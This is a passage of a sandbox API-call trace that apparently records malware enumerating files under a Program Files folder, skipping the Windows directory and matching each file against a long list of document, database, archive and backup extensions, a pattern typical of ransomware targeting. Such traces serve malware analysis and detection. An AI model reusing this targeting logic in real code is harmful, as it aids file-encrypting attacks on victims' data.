cAlternateFileName="TOASTB~2.XML")) returned 1 [0183.282] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0183.282] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0183.282] FindClose (in: hFindFile=0x484bd8 | out: hFindFile=0x484bd8) returned 1 [0183.283] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0183.283] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7e82a38, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-AR", cAlternateFileName="")) returned 1 [0183.283] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR") returned 100 [0183.283] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR") returned 1 [0183.283] lstrlenW (lpString="es-AR") returned 5 [0183.283] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="es-AR") returned -1 [0183.283] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0183.284] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR") returned 100 [0183.284] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7e82a38, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b58 [0183.286] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7e82a38, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0183.286] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0183.287] lstrlenW (lpString="index.html") returned 10 [0183.287] lstrlenW (lpString=".1cd") returned 4 [0183.287] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0183.287] lstrlenW (lpString=".3ds") returned 4 [0183.287] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1 [0183.287] lstrlenW (lpString=".3fr") returned 4 [0183.287] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1 [0183.287] lstrlenW (lpString=".3g2") returned 4 [0183.287] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1 [0183.287] lstrlenW (lpString=".3gp") returned 4 [0183.287] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1 [0183.287] lstrlenW (lpString=".7z") returned 3 [0183.287] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0183.287] lstrlenW (lpString=".accda") returned 6 [0183.287] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1 [0183.287] lstrlenW (lpString=".accdb") returned 6 [0183.287] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1 [0183.287] lstrlenW (lpString=".accdc") returned 6 [0183.287] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1 [0183.287] lstrlenW (lpString=".accde") returned 6 [0183.287] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1 [0183.288] lstrlenW (lpString=".accdt") returned 6 [0183.288] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1 [0183.288] lstrlenW (lpString=".accdw") returned 6 [0183.288] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1 [0183.288] lstrlenW (lpString=".adb") returned 4 [0183.288] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1 [0183.288] lstrlenW (lpString=".adp") returned 4 [0183.288] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1 [0183.288] lstrlenW (lpString=".ai") returned 3 [0183.288] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1 [0183.288] lstrlenW (lpString=".ai3") returned 4 [0183.288] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1 [0183.288] lstrlenW (lpString=".ai4") returned 4 [0183.288] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1 [0183.288] lstrlenW (lpString=".ai5") returned 4 [0183.288] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1 [0183.288] lstrlenW (lpString=".ai6") returned 4 [0183.288] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1 [0183.288] lstrlenW (lpString=".ai7") returned 4 [0183.288] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1 [0183.288] lstrlenW (lpString=".ai8") returned 4 [0183.288] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1 [0183.288] lstrlenW (lpString=".anim") returned 5 [0183.288] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1 [0183.288] lstrlenW (lpString=".arw") returned 4 [0183.288] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1 [0183.288] lstrlenW (lpString=".as") returned 3 [0183.288] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1 [0183.288] lstrlenW (lpString=".asa") returned 4 [0183.288] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1 [0183.288] lstrlenW (lpString=".asc") returned 4 [0183.288] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1 [0183.288] lstrlenW (lpString=".ascx") returned 5 [0183.288] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1 [0183.289] lstrlenW (lpString=".asm") returned 4 [0183.289] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1 [0183.289] lstrlenW (lpString=".asmx") returned 5 [0183.289] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1 [0183.289] lstrlenW (lpString=".asp") returned 4 [0183.289] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1 [0183.289] lstrlenW (lpString=".aspx") returned 5 [0183.289] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1 [0183.289] lstrlenW (lpString=".asr") returned 4 [0183.289] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1 [0183.289] lstrlenW (lpString=".asx") returned 4 [0183.289] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1 [0183.289] lstrlenW (lpString=".avi") returned 4 [0183.289] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1 [0183.289] lstrlenW (lpString=".avs") returned 4 [0183.289] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1 [0183.289] lstrlenW (lpString=".backup") returned 7 [0183.289] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1 [0183.289] lstrlenW (lpString=".bak") returned 4 [0183.289] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1 [0183.289] lstrlenW (lpString=".bay") returned 4 [0183.289] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1 [0183.289] lstrlenW (lpString=".bd") returned 3 [0183.289] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1 [0183.289] lstrlenW (lpString=".bin") returned 4 [0183.289] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1 [0183.289] lstrlenW (lpString=".bmp") returned 4 [0183.289] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1 [0183.290] lstrlenW (lpString=".bz2") returned 4 [0183.290] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0183.290] lstrlenW (lpString=".c") returned 2 [0183.290] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0183.290] lstrlenW (lpString=".cdr") returned 4 [0183.290] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1 [0183.290] lstrlenW (lpString=".cer") returned 4 [0183.290] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1 [0183.290] lstrlenW (lpString=".cf") returned 3 [0183.290] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1 [0183.290] lstrlenW (lpString=".cfc") returned 4 [0183.290] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1 [0183.290] lstrlenW (lpString=".cfm") returned 4 [0183.290] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1 [0183.290] lstrlenW (lpString=".cfml") returned 5 [0183.290] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1 [0183.290] lstrlenW (lpString=".cfu") returned 4 [0183.290] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1 [0183.290] lstrlenW (lpString=".chm") returned 4 [0183.290] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1 [0183.290] lstrlenW (lpString=".cin") returned 4 [0183.290] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1 [0183.290] lstrlenW (lpString=".class") returned 6 [0183.290] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1 [0183.290] lstrlenW (lpString=".clx") returned 4 [0183.290] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1 [0183.290] lstrlenW (lpString=".config") returned 7 [0183.290] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1 [0183.290] lstrlenW (lpString=".cpp") returned 4 [0183.290] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1 [0183.290] lstrlenW (lpString=".cr2") returned 4 [0183.290] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1 [0183.290] lstrlenW (lpString=".crt") returned 4 [0183.291] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1 [0183.291] lstrlenW (lpString=".crw") returned 4 [0183.291] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1 [0183.291] lstrlenW (lpString=".cs") returned 3 [0183.291] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1 [0183.291] lstrlenW (lpString=".css") returned 4 [0183.291] lstrcmpiW (lpString1=".css", lpString2="html") returned -1 [0183.291] lstrlenW (lpString=".csv") returned 4 [0183.291] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1 [0183.291] lstrlenW (lpString=".cub") returned 4 [0183.291] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1 [0183.291] lstrlenW (lpString=".dae") returned 4 [0183.291] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1 [0183.291] lstrlenW (lpString=".dat") returned 4 [0183.291] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1 [0183.291] lstrlenW (lpString=".db") returned 3 [0183.291] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1 [0183.291] lstrlenW (lpString=".dbf") returned 4 [0183.291] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0183.291] lstrlenW (lpString=".dbx") returned 4 [0183.291] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1 [0183.291] lstrlenW (lpString=".dc3") returned 4 [0183.291] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1 [0183.291] lstrlenW (lpString=".dcm") returned 4 [0183.291] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1 [0183.291] lstrlenW (lpString=".dcr") returned 4 [0183.291] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1 [0183.291] lstrlenW (lpString=".der") returned 4 [0183.291] lstrcmpiW (lpString1=".der", lpString2="html") returned -1 [0183.291] lstrlenW (lpString=".dib") returned 4 [0183.292] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1 [0183.292] lstrlenW (lpString=".dic") returned 4 [0183.292] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1 [0183.292] lstrlenW (lpString=".dif") returned 4 [0183.292] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1 [0183.292] lstrlenW (lpString=".divx") returned 5 [0183.292] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1 [0183.292] lstrlenW (lpString=".djvu") returned 5 [0183.292] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1 [0183.292] lstrlenW (lpString=".dng") returned 4 [0183.292] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1 [0183.292] lstrlenW (lpString=".doc") returned 4 [0183.292] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0183.292] lstrlenW (lpString=".docm") returned 5 [0183.292] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1 [0183.292] lstrlenW (lpString=".docx") returned 5 [0183.292] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0183.292] lstrlenW (lpString=".dot") returned 4 [0183.292] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1 [0183.292] lstrlenW (lpString=".dotm") returned 5 [0183.292] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1 [0183.292] lstrlenW (lpString=".dotx") returned 5 [0183.292] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1 [0183.292] lstrlenW (lpString=".dpx") returned 4 [0183.292] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1 [0183.292] lstrlenW (lpString=".dqy") returned 4 [0183.292] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1 [0183.292] lstrlenW (lpString=".dsn") returned 4 [0183.292] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1 [0183.292] lstrlenW (lpString=".dt") returned 3 [0183.292] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1 [0183.292] lstrlenW (lpString=".dtd") returned 4 [0183.292] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1 [0183.292] lstrlenW (lpString=".dwg") returned 4 [0183.292] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1 [0183.293] lstrlenW (lpString=".dwt") returned 4 [0183.293] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1 [0183.293] lstrlenW (lpString=".dx") returned 3 [0183.293] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1 [0183.293] lstrlenW (lpString=".dxf") returned 4 [0183.293] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1 [0183.293] lstrlenW (lpString=".edml") returned 5 [0183.293] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1 [0183.293] lstrlenW (lpString=".efd") returned 4 [0183.293] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1 [0183.293] lstrlenW (lpString=".elf") returned 4 [0183.293] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1 [0183.293] lstrlenW (lpString=".emf") returned 4 [0183.293] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1 [0183.293] lstrlenW (lpString=".emz") returned 4 [0183.293] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1 [0183.293] lstrlenW (lpString=".epf") returned 4 [0183.293] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1 [0183.293] lstrlenW (lpString=".eps") returned 4 [0183.293] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1 [0183.293] lstrlenW (lpString=".epsf") returned 5 [0183.293] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1 [0183.293] lstrlenW (lpString=".epsp") returned 5 [0183.293] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1 [0183.293] lstrlenW (lpString=".erf") returned 4 [0183.293] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1 [0183.293] lstrlenW (lpString=".exr") returned 4 [0183.293] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1 [0183.293] lstrlenW (lpString=".f4v") returned 4 [0183.293] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1 [0183.293] lstrlenW (lpString=".fido") returned 5 [0183.293] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1 [0183.293] lstrlenW (lpString=".flm") returned 4 [0183.293] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1 [0183.293] lstrlenW (lpString=".flv") returned 4 [0183.293] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1 [0183.293] lstrlenW (lpString=".frm") returned 4 [0183.293] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1 [0183.294] lstrlenW (lpString=".fxg") returned 4 [0183.294] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1 [0183.294] lstrlenW (lpString=".geo") returned 4 [0183.294] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1 [0183.294] lstrlenW (lpString=".gif") returned 4 [0183.294] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1 [0183.294] lstrlenW (lpString=".grs") returned 4 [0183.294] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1 [0183.294] lstrlenW (lpString=".gz") returned 3 [0183.294] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1 [0183.294] lstrlenW (lpString=".h") returned 2 [0183.294] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0183.294] lstrlenW (lpString=".hdr") returned 4 [0183.294] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1 [0183.294] lstrlenW (lpString=".hpp") returned 4 [0183.294] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1 [0183.294] lstrlenW (lpString=".hta") returned 4 [0183.294] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1 [0183.294] lstrlenW (lpString=".htc") returned 4 [0183.294] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1 [0183.294] lstrlenW (lpString=".htm") returned 4 [0183.294] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1 [0183.294] lstrlenW (lpString=".html") returned 5 [0183.294] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0 [0183.294] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0183.294] lstrlenW (lpString="toastbeginupgrade.xml") returned 21 [0183.294] lstrlenW (lpString=".1cd") returned 4 [0183.294] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0183.294] lstrlenW (lpString=".3ds") returned 4 [0183.294] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0183.294] lstrlenW (lpString=".3fr") returned 4 [0183.294] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0183.295] lstrlenW (lpString=".3g2") returned 4 [0183.295] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0183.295] lstrlenW (lpString=".3gp") returned 4 [0183.295] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0183.295] lstrlenW (lpString=".7z") returned 3 [0183.295] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0183.295] lstrlenW (lpString=".accda") returned 6 [0183.295] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1 [0183.295] lstrlenW (lpString=".accdb") returned 6 [0183.295] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1 [0183.295] lstrlenW (lpString=".accdc") returned 6 [0183.295] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1 [0183.295] lstrlenW (lpString=".accde") returned 6 [0183.295] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1 [0183.295] lstrlenW (lpString=".accdt") returned 6 [0183.295] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1 [0183.295] lstrlenW (lpString=".accdw") returned 6 [0183.295] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1 [0183.295] lstrlenW (lpString=".adb") returned 4 [0183.295] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0183.295] lstrlenW (lpString=".adp") returned 4 [0183.295] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0183.295] lstrlenW (lpString=".ai") returned 3 [0183.295] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0183.295] lstrlenW (lpString=".ai3") returned 4 [0183.295] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0183.295] lstrlenW (lpString=".ai4") returned 4 [0183.295] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0183.295] lstrlenW (lpString=".ai5") returned 4 [0183.295] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0183.295] lstrlenW (lpString=".ai6") returned 4 [0183.295] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0183.295] lstrlenW (lpString=".ai7") returned 4 [0183.295] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0183.295] lstrlenW (lpString=".ai8") returned 4 [0183.296] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0183.296] lstrlenW (lpString=".anim") returned 5 [0183.296] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1 [0183.296] lstrlenW (lpString=".arw") returned 4 [0183.296] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0183.296] lstrlenW (lpString=".as") returned 3 [0183.296] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0183.296] lstrlenW (lpString=".asa") returned 4 [0183.296] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0183.296] lstrlenW (lpString=".asc") returned 4 [0183.296] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0183.296] lstrlenW (lpString=".ascx") returned 5 [0183.296] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1 [0183.296] lstrlenW (lpString=".asm") returned 4 [0183.296] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0183.296] lstrlenW (lpString=".asmx") returned 5 [0183.296] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1 [0183.296] lstrlenW (lpString=".asp") returned 4 [0183.296] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0183.296] lstrlenW (lpString=".aspx") returned 5 [0183.296] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1 [0183.297] lstrlenW (lpString=".asr") returned 4 [0183.297] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0183.297] lstrlenW (lpString=".asx") returned 4 [0183.297] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0183.297] lstrlenW (lpString=".avi") returned 4 [0183.297] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0183.297] lstrlenW (lpString=".avs") returned 4 [0183.297] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0183.297] lstrlenW (lpString=".backup") returned 7 [0183.297] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1 [0183.297] lstrlenW (lpString=".bak") returned 4 [0183.297] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0183.297] lstrlenW (lpString=".bay") returned 4 [0183.297] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0183.297] lstrlenW (lpString=".bd") returned 3 [0183.297] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0183.297] lstrlenW (lpString=".bin") returned 4 [0183.297] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0183.297] lstrlenW (lpString=".bmp") returned 4 [0183.297] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0183.297] lstrlenW (lpString=".bz2") returned 4 [0183.297] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0183.297] lstrlenW (lpString=".c") returned 2 [0183.297] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0183.297] lstrlenW (lpString=".cdr") returned 4 [0183.297] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0183.297] lstrlenW (lpString=".cer") returned 4 [0183.297] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0183.297] lstrlenW (lpString=".cf") returned 3 [0183.297] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0183.298] lstrlenW (lpString=".cfc") returned 4 [0183.298] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0183.298] lstrlenW (lpString=".cfm") returned 4 [0183.298] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0183.298] lstrlenW (lpString=".cfml") returned 5 [0183.298] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1 [0183.298] lstrlenW (lpString=".cfu") returned 4 [0183.298] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0183.298] lstrlenW (lpString=".chm") returned 4 [0183.298] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0183.298] lstrlenW (lpString=".cin") returned 4 [0183.298] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0183.298] lstrlenW (lpString=".class") returned 6 [0183.298] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1 [0183.298] lstrlenW (lpString=".clx") returned 4 [0183.298] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0183.298] lstrlenW (lpString=".config") returned 7 [0183.298] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1 [0183.298] lstrlenW (lpString=".cpp") returned 4 [0183.298] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0183.298] lstrlenW (lpString=".cr2") returned 4 [0183.298] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0183.298] lstrlenW (lpString=".crt") returned 4 [0183.298] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0183.298] lstrlenW (lpString=".crw") returned 4 [0183.298] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0183.298] lstrlenW (lpString=".cs") returned 3 [0183.299] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0183.299] lstrlenW (lpString=".css") returned 4 [0183.299] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0183.299] lstrlenW (lpString=".csv") returned 4 [0183.299] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0183.299] lstrlenW (lpString=".cub") returned 4 [0183.299] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0183.299] lstrlenW (lpString=".dae") returned 4 [0183.299] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0183.299] lstrlenW (lpString=".dat") returned 4 [0183.299] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0183.299] lstrlenW (lpString=".db") returned 3 [0183.299] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0183.299] lstrlenW (lpString=".dbf") returned 4 [0183.299] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0183.299] lstrlenW (lpString=".dbx") returned 4 [0183.299] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0183.299] lstrlenW (lpString=".dc3") returned 4 [0183.299] lstrcmpiW 